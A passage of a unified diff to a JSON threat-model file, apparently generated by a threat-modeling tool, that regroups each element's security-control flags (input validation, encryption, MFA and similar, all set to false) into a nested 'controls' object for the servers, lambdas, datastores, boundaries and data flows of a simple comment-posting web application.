+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "disablesDTD": false,
-            "encodesHeaders": false,
-            "encodesOutput": false,
             "findings": [],
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
-            "implementsAuthenticationScheme": false,
-            "implementsCSRFToken": false,
-            "implementsNonce": false,
-            "implementsPOLP": false,
-            "implementsServerSideValidation": false,
-            "implementsStrictHTTPValidation": false,
             "inBoundary": null,
             "inScope": true,
             "inputs": [
                 "User enters comments (*)",
                 "Retrieve comments"
             ],
-            "invokesScriptFilters": false,
-            "isEncrypted": false,
-            "isHardened": false,
-            "isResilient": false,
             "levels": [
                 0
             ],
@@ -80,50 +145,72 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesConfidentiality": false,
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
             "usesCache": false,
-            "usesCodeSigning": false,
-            "usesEncryptionAlgorithm": "",
             "usesEnvironmentVariables": false,
             "usesSessionTokens": false,
-            "usesStrongSessionIdentifiers": false,
             "usesVPN": false,
-            "usesXMLParser": false,
-            "validatesContentType": false,
-            "validatesHeaders": false,
-            "validatesInput": false
+            "usesXMLParser": false
         },
         {
             "OS": "",
             "__class__": "Lambda",
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "encodesOutput": false,
             "environment": "",
             "findings": [],
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
             "implementsAPI": false,
-            "implementsAuthenticationScheme": false,
-            "implementsNonce": false,
             "inBoundary": null,
             "inScope": true,
             "inputs": [
                 "Call func"
             ],
-            "isEncrypted": false,
-            "isHardened": false,
             "levels": [
                 0
             ],
@@ -135,49 +222,69 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
-            "usesEnvironmentVariables": false,
-            "validatesInput": false
+            "usesEnvironmentVariables": false
         },
         {
             "OS": "",
             "__class__": "Process",
             "allowsClientSideScripting": false,
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
             "codeType": "Unmanaged",
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "disablesiFrames": false,
-            "encodesOutput": false,
-            "encryptsCookies": false,
-            "encryptsSessionData": false,
             "environment": "",
             "findings": [],
-            "handlesCrashes": false,
-            "handlesInterruptions": false,
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
             "implementsAPI": false,
-            "implementsAuthenticationScheme": false,
-            "implementsCSRFToken": false,
             "implementsCommunicationProtocol": false,
-            "implementsNonce": false,
-            "implementsPOLP": false,
             "inBoundary": null,
             "inScope": true,
             "inputs": [],
-            "isEncrypted": false,
-            "isHardened": false,
-            "isResilient": false,
             "levels": [
                 0
             ],
@@ -191,51 +298,69 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesConfidentiality": false,
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
             "tracksExecutionFlow": false,
-            "usesEnvironmentVariables": false,
-            "usesMFA": false,
-            "usesParameterizedInput": false,
-            "usesSecureFunctions": false,
-            "usesStrongSessionIdentifiers": false,
-            "validatesInput": false,
-            "verifySessionIdentifiers": false
+            "usesEnvironmentVariables": false
         },
         {
             "OS": "",
             "__class__": "Datastore",
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "encodesOutput": false,
             "findings": [],
-            "handlesInterruptions": false,
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
             "hasWriteAccess": false,
-            "implementsAuthenticationScheme": false,
-            "implementsNonce": false,
-            "implementsPOLP": false,
             "inBoundary": "Server/DB",
             "inScope": true,
             "inputs": [
                 "Insert query with comments",
                 "Query for tasks"
             ],
-            "isEncrypted": false,
-            "isEncryptedAtRest": false,
-            "isHardened": false,
-            "isResilient": false,
             "isSQL": true,
             "isShared": false,
             "levels": [
@@ -252,20 +377,60 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesConfidentiality": false,
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
             "storesLogData": false,
             "storesPII": false,
             "storesSensitiveData": false,
-            "usesEncryptionAlgorithm": "",
-            "usesEnvironmentVariables": false,
-            "validatesInput": false
+            "usesEnvironmentVariables": false
         }
     ],
     "boundaries": [
         {
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "description": "",
             "findings": [],
             "inBoundary": null,
@@ -280,6 +445,51 @@
             "sourceFiles": []
         },
         {
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "description": "",
             "findings": [],
             "inBoundary": null,
@@ -319,8 +529,51 @@
     "elements": [
         {
             "__class__": "Actor",
-            "authenticatesDestination": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
             "description": "",
             "findings": [],
@@ -342,44 +595,66 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesIntegrity": false,
             "sourceFiles": []
         },
         {
             "OS": "",
             "__class__": "Server",
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "disablesDTD": false,
-            "encodesHeaders": false,
-            "encodesOutput": false,
             "findings": [],
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
-            "implementsAuthenticationScheme": false,
-            "implementsCSRFToken": false,
-            "implementsNonce": false,
-            "implementsPOLP": false,
-            "implementsServerSideValidation": false,
-            "implementsStrictHTTPValidation": false,
             "inBoundary": null,
             "inScope": true,
             "inputs": [
                 "User enters comments (*)",
                 "Retrieve comments"
             ],
-            "invokesScriptFilters": false,
-            "isEncrypted": false,
-            "isHardened": false,
-            "isResilient": false,
             "levels": [
                 0
             ],
@@ -395,50 +670,72 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesConfidentiality": false,
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
             "usesCache": false,
-            "usesCodeSigning": false,
-            "usesEncryptionAlgorithm": "",
             "usesEnvironmentVariables": false,
             "usesSessionTokens": false,
-            "usesStrongSessionIdentifiers": false,
             "usesVPN": false,
-            "usesXMLParser": false,
-            "validatesContentType": false,
-            "validatesHeaders": false,
-            "validatesInput": false
+            "usesXMLParser": false
         },
         {
             "OS": "",
             "__class__": "Lambda",
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "encodesOutput": false,
             "environment": "",
             "findings": [],
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
             "implementsAPI": false,
-            "implementsAuthenticationScheme": false,
-            "implementsNonce": false,
             "inBoundary": null,
             "inScope": true,
             "inputs": [
                 "Call func"
             ],
-            "isEncrypted": false,
-            "isHardened": false,
             "levels": [
                 0
             ],
@@ -450,49 +747,69 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
-            "usesEnvironmentVariables": false,
-            "validatesInput": false
+            "usesEnvironmentVariables": false
         },
         {
             "OS": "",
             "__class__": "Process",
             "allowsClientSideScripting": false,
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
             "codeType": "Unmanaged",
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "disablesiFrames": false,
-            "encodesOutput": false,
-            "encryptsCookies": false,
-            "encryptsSessionData": false,
             "environment": "",
             "findings": [],
-            "handlesCrashes": false,
-            "handlesInterruptions": false,
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
             "implementsAPI": false,
-            "implementsAuthenticationScheme": false,
-            "implementsCSRFToken": false,
             "implementsCommunicationProtocol": false,
-            "implementsNonce": false,
-            "implementsPOLP": false,
             "inBoundary": null,
             "inScope": true,
             "inputs": [],
-            "isEncrypted": false,
-            "isHardened": false,
-            "isResilient": false,
             "levels": [
                 0
             ],
@@ -506,51 +823,69 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesConfidentiality": false,
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
             "tracksExecutionFlow": false,
-            "usesEnvironmentVariables": false,
-            "usesMFA": false,
-            "usesParameterizedInput": false,
-            "usesSecureFunctions": false,
-            "usesStrongSessionIdentifiers": false,
-            "validatesInput": false,
-            "verifySessionIdentifiers": false
+            "usesEnvironmentVariables": false
         },
         {
             "OS": "",
             "__class__": "Datastore",
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
-            "definesConnectionTimeout": false,
             "description": "",
-            "encodesOutput": false,
             "findings": [],
-            "handlesInterruptions": false,
-            "handlesResourceConsumption": false,
             "handlesResources": false,
-            "hasAccessControl": false,
             "hasWriteAccess": false,
-            "implementsAuthenticationScheme": false,
-            "implementsNonce": false,
-            "implementsPOLP": false,
             "inBoundary": "Server/DB",
             "inScope": true,
             "inputs": [
                 "Insert query with comments",
                 "Query for tasks"
             ],
-            "isEncrypted": false,
-            "isEncryptedAtRest": false,
-            "isHardened": false,
-            "isResilient": false,
             "isSQL": true,
             "isShared": false,
             "levels": [
@@ -567,36 +902,70 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesConfidentiality": false,
-            "providesIntegrity": false,
-            "sanitizesInput": false,
             "sourceFiles": [],
             "storesLogData": false,
             "storesPII": false,
             "storesSensitiveData": false,
-            "usesEncryptionAlgorithm": "",
-            "usesEnvironmentVariables": false,
-            "validatesInput": false
+            "usesEnvironmentVariables": false
         }
     ],
     "findings": [],
     "flows": [
         {
-            "authenticatedWith": false,
-            "authenticatesDestination": false,
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [
                 "auth cookie"
             ],
             "description": "",
             "dstPort": -1,
             "findings": [],
-            "implementsAuthenticationScheme": false,
             "implementsCommunicationProtocol": false,
             "inBoundary": null,
             "inScope": true,
-            "isEncrypted": false,
             "isResponse": false,
             "levels": [
                 0
@@ -619,19 +988,58 @@
             "usesVPN": false
         },
         {
-            "authenticatedWith": false,
-            "authenticatesDestination": false,
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
             "description": "",
             "dstPort": -1,
             "findings": [],
-            "implementsAuthenticationScheme": false,
             "implementsCommunicationProtocol": false,
             "inBoundary": null,
             "inScope": true,
-            "isEncrypted": false,
             "isResponse": false,
             "levels": [
                 0
@@ -654,19 +1062,58 @@
             "usesVPN": false
         },
         {
-            "authenticatedWith": false,
-            "authenticatesDestination": false,
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
             "description": "",
             "dstPort": -1,
             "findings": [],
-            "implementsAuthenticationScheme": false,
             "implementsCommunicationProtocol": false,
             "inBoundary": null,
             "inScope": true,
-            "isEncrypted": false,
             "isResponse": false,
             "levels": [
                 0
@@ -689,19 +1136,58 @@
             "usesVPN": false
         },
         {
-            "authenticatedWith": false,
-            "authenticatesDestination": false,
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
